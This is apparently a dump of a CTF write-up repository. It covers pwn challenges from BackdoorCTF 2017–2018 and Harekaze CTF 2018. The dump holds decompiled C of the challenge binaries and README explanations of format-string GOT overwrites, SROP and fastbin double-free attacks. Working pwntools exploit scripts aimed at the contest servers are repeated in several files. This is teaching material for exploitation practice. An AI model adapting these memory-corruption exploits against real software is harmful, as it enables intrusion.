| case 2: 147 | give_wisdom(); 148 | break; 149 | case 3: 150 | modify_wisdom(); 151 | break; 152 | default: 153 | puts("What you ask for cannot be found here."); 154 | break; 155 | } 156 | } 157 | 158 | 159 | void __fastcall scribe_store(quote_t *quote) { 160 | if ( templeWisdom > 255 ) { 161 | puts("We have nothing else to offer you. Seek another temple."); 162 | exit(0); 163 | } 164 | temple[(unsigned __int64)templeWisdom++] = quote; 165 | } 166 | 167 | 168 | quote_t *__cdecl make_wisdom() { 169 | quote_t *quote; // ST08_8@1 170 | int v1; // eax@1 171 | char *chosenProphet; // ST18_8@1 172 | const char *v3; // rdx@1 173 | 174 | quote = (quote_t *)mm_malloc(32uLL); 175 | v1 = rand(); 176 | chosenProphet = prophets[(signed int)(v1 177 | - 6 178 | * ((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL 179 | * (unsigned __int128)(unsigned __int64)v1 >> 64) >> 2))]; 180 | v3 = wisdom[(unsigned __int64)templeWisdom]; 181 | quote->text = (char *)v3; 182 | quote->text_size = strlen(v3); 183 | quote->character = chosenProphet; 184 | quote->character_size = strlen(chosenProphet); 185 | scribe_store(quote); 186 | return quote; 187 | } 188 | 189 | 190 | int main(int argc, const char **argv, const char **envp) { 191 | unsigned int v3; // eax@1 192 | int i; // [sp+2Ch] [bp-4h]@1 193 | 194 | setvbuf(stdout, 0LL, 2, 0LL); 195 | v3 = time(0LL); 196 | srand(v3); 197 | horizon(); 198 | for ( i = 0; i <= 7; ++i ) 199 | make_wisdom(); 200 | while ( 1 ) 201 | seek_divinity(); 202 | } -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/baby-0x41414141/32_new: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/32_new -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/baby-0x41414141/README.md: -------------------------------------------------------------------------------- 1 | We have [32-bit binary](32_new). Let's examine what this thing do using IDA Pro. 2 | 3 |

4 | 5 |

6 | 7 | The code is pretty simple. We input string, then put the entered string into ```format``` variable and in the end we print ```format```. How you can see ```printf``` function has only one argument. So, this is can be **format string attack**. Let's check it putting in the binary ```"%x.%x.%x.%x"``` string 8 | 9 |

10 | 11 |

12 | 13 | Okay, there is format string bug. It means that we can write into an arbitrary memory address. But what and where we should write? If we check the code one more time then we can see interesting function: 14 | 15 |

16 | 17 |

18 | 19 | This function simply prints the flag. So, the obvious idea to solve this challenge is to change execution flow to above function. Okay, if we can write into arbitrary place, then we should just replace GOT entry of ```exit``` function with the address of the function printing the flag. 20 | 21 | [Exploit](exploit.py) that does exactly that, is placed below: 22 | 23 | ```python 24 | from pwn import * 25 | 26 | 27 | def main(): 28 | pc = remote('163.172.176.29', 9035) 29 | 30 | fm = '%34501x%20$hn%33017x%21$hn' 31 | 32 | pc.recvline() 33 | pc.sendline(fm + (40 - len(fm)) * 'A' + '\x34\xa0\x04\x08' + '\x36\xa0\x04\x08') 34 | 35 | pc.interactive() 36 | 37 | 38 | if __name__ == '__main__': 39 | main() 40 | ``` -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/baby-0x41414141/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | def main(): 5 | pc = remote('163.172.176.29', 9035) 6 | 7 | fm = '%34501x%20$hn%33017x%21$hn' 8 | 9 | pc.recvline() 10 | pc.sendline(fm + (40 - len(fm)) * 'A' + '\x34\xa0\x04\x08' + '\x36\xa0\x04\x08') 11 | 12 | pc.interactive() 13 | 14 | 15 | if __name__ == '__main__': 16 | main() -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/baby-0x41414141/screens/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/screens/code.png -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/baby-0x41414141/screens/fsb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/screens/fsb.png -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/baby-0x41414141/screens/print-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/screens/print-flag.png -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/README.md: -------------------------------------------------------------------------------- 1 | The task consists of one [64-bit binary](player_bin). Let's examine what's under the hood of this challenge. 2 | 3 |

4 | 5 |

6 | 7 | First of all, look at the ```0x10000023``` address. Flag for this challenge is placed in this address on the CTF server. So, obviously that we should just print it. Okay, let's examine the code. 8 | 9 | There is not so much code and everything is pretty straight. In the first syscall at ```0x100000b``` we input string into ```rsi``` register. After that we prepare registers for the second syscall. If we look at the table of syscalls for [x86_64 architecture](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) then we find out that this syscall is [```sys_rt_sigreturn```](https://linux.die.net/man/2/rt_sigreturn). 10 | 11 | For me this doesn't tell much, so let's run the binary and see what this thing do. I input ```'A' * 12``` and stopped before the second syscall. The state of our program looks like that: 12 | 13 |

14 | 15 |

16 | 17 | Each register has rational and understandable value. Pay your attention to the values laying on the stack. Now, let's execute this ```sys_rt_sigreturn```: 18 | 19 |

20 | 21 |

22 | 23 | You can think "What the heck?", but look at the stack before executing the syscall and you find out that all registers are set up with the values from the stack. This named a stack frame. According to the Linux man page, ```sys_rt_sigreturn``` function returns from signal handler and cleanup stack frame. So, if we input a pretty big string then we can control stack frame and hence overwrite all registers, sweet. This technique called **SROP** -- Sigreturn Oriented Programming. You can read about it on Google :3 24 | 25 | What's next? We can control all registers including ```rip```. The idea is pretty simple: To change ```rip``` to syscall address (doesn't matter which of the two) and set all registers to write the flag into ```stdout```. There are two ways to do this: 26 | - Using ```pwntools``` and its built-in class for Sigreturn frames. Then set needed registers with desirable values and input them. 27 | - And more complex way: finding the order of registers in a stack frame and create this frame by yourself. 28 | 29 | I chose the first way, but you can improve your skills by creating a stack frame by yourself (I did it too). 30 | 31 | [Exploit](exploit.py) that creates the stack frame and input it is placed below: 32 | 33 | ```python 34 | import struct 35 | 36 | from pwn import * 37 | 38 | 39 | def main(): 40 | context.clear() 41 | context.arch = "amd64" 42 | 43 | rm = remote('163.172.176.29', 9034) 44 | 45 | frame = SigreturnFrame() 46 | frame.rax = 0x1 47 | frame.rdi = 0x1 48 | frame.rsi = struct.unpack('Q', '\x23\x00\x00\x10\x00\x00\x00\x00')[0] 49 | frame.rdx = 0x30 50 | frame.rip = struct.unpack('Q', '\x12\x00\x00\x10\x00\x00\x00\x00')[0] 51 | 52 | 53 | rm.send(bytes(frame)) 54 | rm.interactive() 55 | 56 | 57 | if __name__ == '__main__': 58 | main() 59 | 60 | 61 | ``` -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/exploit.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | from pwn import * 4 | 5 | 6 | def main(): 7 | context.clear() 8 | context.arch = "amd64" 9 | 10 | rm = remote('163.172.176.29', 9034) 11 | 12 | frame = SigreturnFrame() 13 | frame.rax = 0x1 14 | frame.rdi = 0x1 15 | frame.rsi = struct.unpack('Q', '\x23\x00\x00\x10\x00\x00\x00\x00')[0] 16 | frame.rdx = 0x30 17 | frame.rip = struct.unpack('Q', '\x12\x00\x00\x10\x00\x00\x00\x00')[0] 18 | 19 | 20 | rm.send(bytes(frame)) 21 | rm.interactive() 22 | 23 | 24 | if __name__ == '__main__': 25 | main() 26 | 27 | -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/player_bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/player_bin -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/screens/after-signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/after-signal.png -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/screens/before-signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/before-signal.png -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/screens/call-signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/call-signal.png -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/screens/checksec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/checksec.png -------------------------------------------------------------------------------- /2017/backdoorctf17/pwn/funsignals/screens/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/code.png -------------------------------------------------------------------------------- /2018/BackdoorCTF 2018/bookkeeping/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from pwn import * 4 | 5 | 6 | 7 | def add(pc, size, title, body): 8 | pc.sendlineafter('>', '1') 9 | pc.sendlineafter('>', str(size)) 10 | pc.sendlineafter('>', title) 11 | pc.sendlineafter('>', body) 12 | 13 | 14 | def delete(pc, index): 15 | pc.sendlineafter('>', '2') 16 | pc.sendlineafter('>', str(index)) 17 | 18 | 19 | def edit(pc, index, title, body): 20 | pc.sendlineafter('>', '3') 21 | pc.sendlineafter('>', str(index)) 22 | pc.sendlineafter('>', title) 23 | pc.sendlineafter('>', body) 24 | 25 | 26 | def _print(pc, index): 27 | pc.sendlineafter('>', '4') 28 | pc.sendlineafter('>', str(index)) 29 | 30 | 31 | def get_flag(pc, index): 32 | pc.sendlineafter('>', '6') 33 | 34 | 35 | def main(): 36 | # pc = process('./service1.o') 37 | pc = remote('51.15.73.163', 8888) 38 | 39 | notes_dir = '\x00\xb0\xfe\xca\x00\x00\x00\x00' 40 | flag_dir = '\x38\xb0\xfe\xca\x00\x00\x00\x00' 41 | flag_addr = '\x69\x0b\x40\x00\x00\x00\x00\x00' 42 | addr = '\x60\x20\x60\x00\x00\x00\x00\x00' 43 | dead_beef = '\x00\xb0\xad\xde\x00\x00\x00\x00' 44 | 45 | real_flag_addr = '\x00\x10\x60\x00\x00\x00\x00\x00' 46 | 47 | add(pc, -70, 'AAAA', '') 48 | add(pc, -70, 'BBBB', '') 49 | add(pc, -70, 'CCCC', '') 50 | add(pc, -70, 'A', '') 51 | add(pc, -70, 'A', '') 52 | 53 | delete(pc, 3) 54 | delete(pc, 2) 55 | delete(pc, 1) 56 | delete(pc, 0) 57 | 58 | add(pc, -70, 16 * 'C' + '\x00\x00\x00\x00\x00\x00\x00\x00' * 11 + '\x70\x00\x00\x00\x00\x00\x00\x00' + '\x2d\x20\x60\x00\x00\x00\x00\x00', '') 59 | 60 | add(pc, -70, 'AAAA', '') 61 | 62 | add(pc, -70, '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' + addr + 'GIMMETHEFLAG\x00\x00\x00\x00' + notes_dir + flag_dir, '') 63 | edit(pc, 0, 'GIMMETHEFLAG\x00', '') 64 | edit(pc, 1, '\x00\xb0\xad\xde\x00\x00\x00\x00\x00\x00\x00', '') 65 | 66 | pc.sendline('6') 67 | 68 | _print(pc, 0) 69 | 70 | pc.interactive() 71 | 72 | 73 | if __name__ == '__main__': 74 | try: 75 | os.remove('/dev/shm/notes_dir') 76 | except Exception: 77 | pass 78 | 79 | main() -------------------------------------------------------------------------------- /2018/BackdoorCTF 2018/bookkeeping/service.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/bookkeeping/service.o -------------------------------------------------------------------------------- /2018/BackdoorCTF 2018/bookkeeping/service1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/bookkeeping/service1.o -------------------------------------------------------------------------------- /2018/BackdoorCTF 2018/bookkeeping/verifier.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/bookkeeping/verifier.o -------------------------------------------------------------------------------- /2018/BackdoorCTF 2018/shelter/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/shelter/challenge -------------------------------------------------------------------------------- /2018/BackdoorCTF 2018/shelter/exploit.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | from pwn import * 4 | 5 | 6 | def to_addr(n): 7 | return struct.pack('Q', n) 8 | 9 | def to_n(addr): 10 | return struct.unpack('Q', addr)[0] 11 | 12 | def create(pc, name): 13 | pc.sendlineafter('choice > ', '1') 14 | pc.sendlineafter('Enter content > ', name) 15 | return int(pc.recvline().strip().split(' ')[-2], 16) 16 | 17 | def delete(pc, index): 18 | pc.sendlineafter('choice > ', '2') 19 | pc.sendlineafter('Enter index to delete note > ', str(index)) 20 | 21 | def help(pc): 22 | pc.sendlineafter('choice > ', '3') 23 | return int(pc.recvline().strip().split(' ')[-1], 16) 24 | 25 | 26 | def main(): 27 | # pc = process('./challenge') 28 | pc = remote('51.15.73.163', 8088) 29 | 30 | help_addr = help(pc) 31 | 32 | print('Help address: ' + hex(help_addr)) 33 | 34 | get_shell = help_addr - 0xC1A + 0xA30 35 | 36 | addr1 = create(pc, 'AAAA') # 0 37 | addr2 = create(pc, 'BBBB') # 1 38 | addr3 = create(pc, 'CCCC') # 2 39 | 40 | print('Heap address: ' + hex(addr1)) 41 | 42 | delete(pc, 0) 43 | 44 | # | prev_size | size | fd | bk | 45 | fake_chunk1 = p64(0) + p64(0) + p64(addr1 + 16*7) + p64(addr1 + 16*7) # <- for tricking malloc 46 | fake_chunk2 = p64(0) + p64(0) + p64(addr1 + 16*3) + p64(addr1 + 16*3) # <- for unlinking 47 | 48 | payload = (8 + 32) * '\x00' + fake_chunk1 + 32 * 'A' + fake_chunk2 + 32 * 'A' 49 | 50 | print(len(payload)) 51 | 52 | create(pc, payload + (241 - len(payload) - 9) * 'A' + '\xc0\x00\x00\x00\x00\x00\x00\x00' + '\x00') 53 | 54 | delete(pc, 1) 55 | 56 | create(pc, 'D' * (8 + 160) + p64(0) + p64(0x100) + to_addr(get_shell)) 57 | 58 | delete(pc, 1) 59 | 60 | pc.interactive() 61 | 62 | 63 | if __name__ == '__main__': 64 | main() -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/README.md: -------------------------------------------------------------------------------- 1 | # __Harekaze CTF 2018__ 2 | ## _Flea Attack_ 3 | 4 | ## Information 5 | 6 | **Category:** | **Points:** | **Writeup Author** 7 | --- | --- | --- 8 | Exploitation | 200 | merrychap 9 | 10 | **Description:** 11 | 12 | > nc problem.harekaze.com 20175 13 | 14 | ## Solution 15 | 16 | Alright, we're given the [flea_attack](./flea_attack.elf) binary. 17 | 18 | ```sh 19 | $ file flea_attack.elf 20 | flea_attack.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped 21 | ``` 22 | 23 | Now we know that it's 64-bit ELF. First of all, we have to understand how this thing works. 24 | 25 | ### Reversing the binary 26 | 27 | Here will be pictures of some parts of the reversed code. If you want to see the whole code of the binary, then check out [flea_attack.c](./flea_attack.c) file. Let's open ```main``` function in IDA Pro: 28 | 29 |

30 | 31 |

32 | 33 | As you can see, we open the flag and write it somewhere (this function will be shown a little bit below), after this, we enter comment and go to the main loop of the program. In the main loop, we can choose to add a new name or delete an existing one. 34 | 35 | ### Open flag function 36 | 37 |

38 | 39 |

40 | 41 | Here we just open a file with the flag and save its content into ```flag``` global variable. It's obvious that we have to read somehow the content of the ```flag``` variable. 42 | 43 | ### Gets comment function 44 | 45 |

46 | 47 |

48 | 49 | ```original_fgets``` function is just a kind of wrapper for ```fgets``` function. Code of ```original_fgets``` you can see in [flea_attack.c](./flea_attack.c). Okay, here we just input a string of 96 bytes length into ```comment``` global variable. 50 | 51 | Also, it's important where ```comment``` and ```flag``` variables located. Using IDA Pro we can find out the next: 52 | 53 | ```asm 54 | .bss:204000 comment db ? ; 55 | .bss:204001 db ? ; 56 | .bss:204002 db ? ; 57 | .bss:204003 db ? ; 58 | 59 | ........... 60 | 61 | .bss:204080 public flag 62 | .bss:204080 flag db ? ; 63 | .bss:204081 db ? ; 64 | .bss:204082 db ? ; 65 | .bss:204083 db ? ; 66 | .bss:204084 db ? ; 67 | .bss:204085 db ? ; 68 | .bss:204086 db ? ; 69 | 70 | ........... 71 | 72 | .bss:2040AE db ? ; 73 | .bss:2040AF db ? ; 74 | ``` 75 | 76 | ### Add name function 77 | 78 |

79 | 80 |

81 | 82 | Here we enter a size for a name, after this, the binary allocates a chunk for the name and then we enter the name itself. As you can see, after this, program prints entered name and an address of this string. 83 | 84 | Remember that **this is very important place of the binary**. Also, there is no any validation for the entered size (!). 85 | 86 | ### Delete name function 87 | 88 |

89 | 90 |

91 | 92 | This function is pretty straightforward. Program asks us for an address of a chunk and remove it. 93 | 94 | 95 | ### Find a vulnerability 96 | Okay, we know that we can create chunks of any sizes. And also we're able to delete any chunk. Let's try to make a **```double free```** attack. You can read about it [here](https://www.owasp.org/index.php/Double_Free). 97 | 98 | Double free attack gives us an opportunity to create two different pointers that point to the same chunk. We will be working with fastbin chunks. 99 | 100 | ```c 101 | 1 a = malloc(30); 102 | 2 b = malloc(30); 103 | 3 c = malloc(30); 104 | 4 105 | 5 free(a); // head --> a --> tail 106 | 6 free(b); // head --> b --> a --> tail 107 | 7 free(a); // head --> a --> b --> a --> tail 108 | 8 109 | 9 d = malloc(30) // head --> b --> a --> tail 110 | 10 e = malloc(30) // head --> a --> tail 111 | 11 f = malloc(30) // head --> tail 112 | 113 | // d and f point to the same chunk! 114 | ``` 115 | 116 | If we try to do the same operations in given binary, then we find out that it attack really works here. 117 | 118 | ### Exploitation of the binary 119 | What can we do if we have two pointers that point to the same heap chunk? Well, as we know, fastbin chunks have only ```fd``` pointer (without ```bk```) and after allocating a chunk, this pointer is pushed on a fastbin and considered as top of fastbin (fastbin behaves as a stack). 120 | 121 | Now let's look at 9 - 10 lines more closely. After allocating a chunk, we enter a string into it. Hence, on the second malloc, fastbin takes entered value (in ```fd``` field) as the new top chunk of the fastbin. 122 | 123 | This attack gives us an opportunity to get ```malloc``` to return a nearly-arbitrary pointer (known as House of Spirit attack). If we want malloc to return ```addr``` pointer, then ```addr+8``` has to be the size of chunks in the fastbin (in other case an exception will be raised). 124 | 125 | ### Get the flag 126 | Okay, we're almost done. We want to read the flag, right? The only one place that prints the string is ```add_name``` function. ```malloc``` gives us a pointer, then we enter a string under the address of the pointer and this value is printed. So, we want flag to be printed, then we want malloc to return address near ```flag``` variable. Let's recall that we have ```comment``` variable. We can enter 94 any bytes and the last 95th byte will be the size of chunks in the fastbin. After this, we will trick the top of the fastbin to point to ```&flag-32``` address. That will give us an opportunity to print the flag! 127 | 128 | ### Exploit 129 | You can read [exploit.py](./exploit.py) file or just read the code below: 130 | 131 | ```python 132 | import struct 133 | 134 | from pwn import * 135 | 136 | 137 | def to_num(addr): 138 | return struct.unpack('Q', addr)[0] 139 | 140 | 141 | def to_addr(num): 142 | return struct.pack('Q', num) 143 | 144 | 145 | def comment(pc, com): 146 | pc.recvuntil('note:') 147 | pc.sendline(com) 148 | 149 | 150 | def add(pc, size, name, fl=False, print_flag=False): 151 | pc.recvuntil('> ') 152 | pc.sendline('1') 153 | pc.recvuntil('Size: ') 154 | pc.sendline(size) 155 | pc.recvuntil('Name: ') 156 | pc.sendline(name) 157 | if not fl: 158 | pc.recvline() 159 | name = pc.recvline()[6:-1] 160 | resp = pc.recvline() 161 | if print_flag: 162 | print(resp) 163 | addr = pc.recvline()[6:-1] 164 | return name, addr 165 | 166 | 167 | def delete(pc, addr): 168 | pc.recvuntil('> ') 169 | pc.sendline('2') 170 | pc.recvuntil('Addr: ') 171 | pc.sendline(addr) 172 | pc.recvuntil('3. Exit') 173 | pc.recvuntil('3. Exit') 174 | 175 | 176 | def main(): 177 | flag = '\x56\x40\x20\x00\x00\x00\x00\x00' 178 | 179 | pc = remote('problem.harekaze.com', 20175) 180 | 181 | comment(pc, 'A' * 94 + '\x41\x00') 182 | name1, addr1 = add(pc, '45', 'AAAA') 183 | name2, addr2 = add(pc, '45', 'BBBB') 184 | name3, addr3 = add(pc, '45', 'CCCC') 185 | 186 | delete(pc, addr1) 187 | delete(pc, addr2) 188 | delete(pc, addr1) 189 | 190 | name4, addr4 = add(pc, '45', flag, True) # after allocating name6, fastbin's top chunk will be changed to desirable address (flag variable). 191 | name5, addr5 = add(pc, '45', '', True) 192 | name6, addr6 = add(pc, '45', flag, True) 193 | 194 | print(addr4) # check if double free works 195 | print(addr6) 196 | 197 | delete(pc, addr4) 198 | 199 | name7, addr7 = add(pc, '45', '') 200 | name8, addr8 = add(pc, '45', 'AAAAAAAAAAAAAAAAAAAAAAAAA', print_flag=True) 201 | 202 | pc.interactive() 203 | 204 | 205 | if __name__ == '__main__': 206 | main() 207 | ``` 208 | 209 | ### Flag 210 | 211 | And after all produced actions we get the next: 212 | 213 |

214 | 215 |

216 | 217 | > HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld} -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/exploit.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | from pwn import * 4 | 5 | 6 | def to_num(addr): 7 | return struct.unpack('Q', addr)[0] 8 | 9 | 10 | def to_addr(num): 11 | return struct.pack('Q', num) 12 | 13 | 14 | def comment(pc, com): 15 | pc.recvuntil('note:') 16 | pc.sendline(com) 17 | 18 | 19 | def add(pc, size, name, fl=False, print_flag=False): 20 | pc.recvuntil('> ') 21 | pc.sendline('1') 22 | pc.recvuntil('Size: ') 23 | pc.sendline(size) 24 | pc.recvuntil('Name: ') 25 | pc.sendline(name) 26 | if not fl: 27 | pc.recvline() 28 | name = pc.recvline()[6:-1] 29 | resp = pc.recvline() 30 | if print_flag: 31 | print(resp) 32 | addr = pc.recvline()[6:-1] 33 | return name, addr 34 | 35 | 36 | def delete(pc, addr): 37 | pc.recvuntil('> ') 38 | pc.sendline('2') 39 | pc.recvuntil('Addr: ') 40 | pc.sendline(addr) 41 | pc.recvuntil('3. Exit') 42 | pc.recvuntil('3. Exit') 43 | 44 | 45 | def main(): 46 | flag = '\x56\x40\x20\x00\x00\x00\x00\x00' 47 | 48 | pc = remote('problem.harekaze.com', 20175) 49 | 50 | comment(pc, 'A' * 94 + '\x41\x00') 51 | name1, addr1 = add(pc, '45', 'AAAA') 52 | name2, addr2 = add(pc, '45', 'BBBB') 53 | name3, addr3 = add(pc, '45', 'CCCC') 54 | 55 | delete(pc, addr1) 56 | delete(pc, addr2) 57 | delete(pc, addr1) 58 | 59 | name4, addr4 = add(pc, '45', flag, True) 60 | name5, addr5 = add(pc, '45', '', True) 61 | name6, addr6 = add(pc, '45', flag, True) 62 | 63 | print(addr4) # check if double free works 64 | print(addr6) 65 | 66 | delete(pc, addr4) 67 | 68 | name7, addr7 = add(pc, '45', '') 69 | name8, addr8 = add(pc, '45', 'AAAAAAAAAAAAAAAAAAAAAAAAA', print_flag=True) 70 | 71 | pc.interactive() 72 | 73 | 74 | if __name__ == '__main__': 75 | main() -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/flea_attack.c: -------------------------------------------------------------------------------- 1 | int del_name() { 2 | int result; // eax@1 3 | __int64 v1; // rsi@1 4 | void *addr; // [sp+10h] [bp-10h]@1 5 | __int64 canary; // [sp+18h] [bp-8h]@1 6 | 7 | canary = *MK_FP(__FS__, 40LL); 8 | addr = 0LL; 9 | printf("Addr: "); 10 | __isoc99_scanf("%llx", &addr); 11 | free(addr); 12 | result = puts("Done!"); 13 | v1 = *MK_FP(__FS__, 40LL); 14 | return result; 15 | } 16 | 17 | 18 | 19 | int add_name() { 20 | int size; // ST2C_4@1 21 | void *buf; // ST20_8@1 22 | 23 | printf("Size: "); 24 | size = gets_int(); 25 | buf = malloc(size); // fastbin top to flag address 26 | printf("Name: "); 27 | read(0, buf, size); 28 | puts("Done!"); 29 | printf("Name: %s\n", buf); // here is have to be the flag address 30 | return printf("Addr: %llx\n", buf); 31 | } 32 | 33 | 34 | 35 | int gets_int() { 36 | int num; // eax@1 37 | char input; // [sp+1Ch] [bp-14h]@1 38 | __int64 canary; // [sp+28h] [bp-8h]@1 39 | 40 | canary = *MK_FP(__FS__, 40LL); 41 | fgets(&input, 11, stdin); 42 | num = atoi(&input); 43 | *MK_FP(__FS__, 40LL); 44 | return num; 45 | } 46 | 47 | 48 | 49 | int show_menu() { 50 | puts("1. Add name"); 51 | puts("2. Delete name"); 52 | return puts("3. Exit"); 53 | } 54 | 55 | 56 | 57 | __int64 __fastcall original_fgets(__int64 ptr, __int64 size) { 58 | __int64 result; // rax@2 59 | unsigned __int64 i; // [sp+18h] [bp-18h]@1 60 | 61 | for ( i = 0LL; ; ++i ) { 62 | result = i; 63 | if ( i >= size - 1 ) 64 | break; 65 | read(0, (void *)(i + ptr), 1uLL); 66 | if ( !*(_BYTE *)(ptr + i) ) { 67 | *(_BYTE *)(ptr + i) = '\n'; 68 | LABEL_7: 69 | result = ptr; 70 | *(_BYTE *)(ptr + i + 1) = 0; 71 | return result; 72 | } 73 | if ( *(_BYTE *)(ptr + i) == '\n' ) 74 | goto LABEL_7; 75 | } 76 | return result; 77 | } 78 | 79 | 80 | 81 | __int64 gets_comment() { 82 | return original_fgets((__int64)&comment, 96LL); 83 | } 84 | 85 | 86 | 87 | char *open_flag() { 88 | FILE *stream; // [sp+18h] [bp-8h]@1 89 | 90 | stream = fopen("/home/flea_attack/flag", "r"); 91 | if ( !stream ) { 92 | puts("ERROR: Open Error"); 93 | exit(1); 94 | } 95 | return fgets((char *)&flag, 48, stream); 96 | } 97 | 98 | 99 | 100 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { 101 | int choice; // [sp+20h] [bp-20h]@2 102 | 103 | setvbuf(stdin, 0LL, 2, 0LL); 104 | setvbuf(stdout, 0LL, 2, 0LL); 105 | setvbuf(stderr, 0LL, 2, 0LL); 106 | open_flag(); 107 | printf("Some comment this note:", 0LL); 108 | gets_comment(); 109 | while ( 1 ) { 110 | while ( 1 ) { 111 | show_menu(); 112 | printf("> "); 113 | choice = gets_int(); 114 | if ( choice != 1 ) 115 | break; 116 | add_name(); 117 | } 118 | if ( choice == 2 ) { 119 | del_name(); 120 | } 121 | else { 122 | if ( choice == 3 ) { 123 | puts("Bye."); 124 | exit(0); 125 | } 126 | puts("Invalid"); 127 | } 128 | } 129 | } -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/flea_attack.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/flea_attack.elf -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/nohup.out: -------------------------------------------------------------------------------- 1 | err:module:import_dll Library python27.dll (which is needed by L"Z:\\home\\kali\\Development\\Tools\\Reversing\\IDA 6.8\\plugins\\python.p64") not found 2 | err:module:import_dll Library python27.dll (which is needed by L"Z:\\home\\kali\\Development\\Tools\\Reversing\\IDA 6.8\\plugins\\python.p64") not found 3 | err:module:import_dll Library python27.dll (which is needed by L"Z:\\home\\kali\\Development\\Tools\\Reversing\\IDA 6.8\\plugins\\python.p64") not found 4 | -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/screens/add_name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/add_name.png -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/screens/del_name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/del_name.png -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/screens/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/flag.png -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/screens/gets_comment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/gets_comment.png -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/screens/main.png: -------------------------------------------------------------------------------- 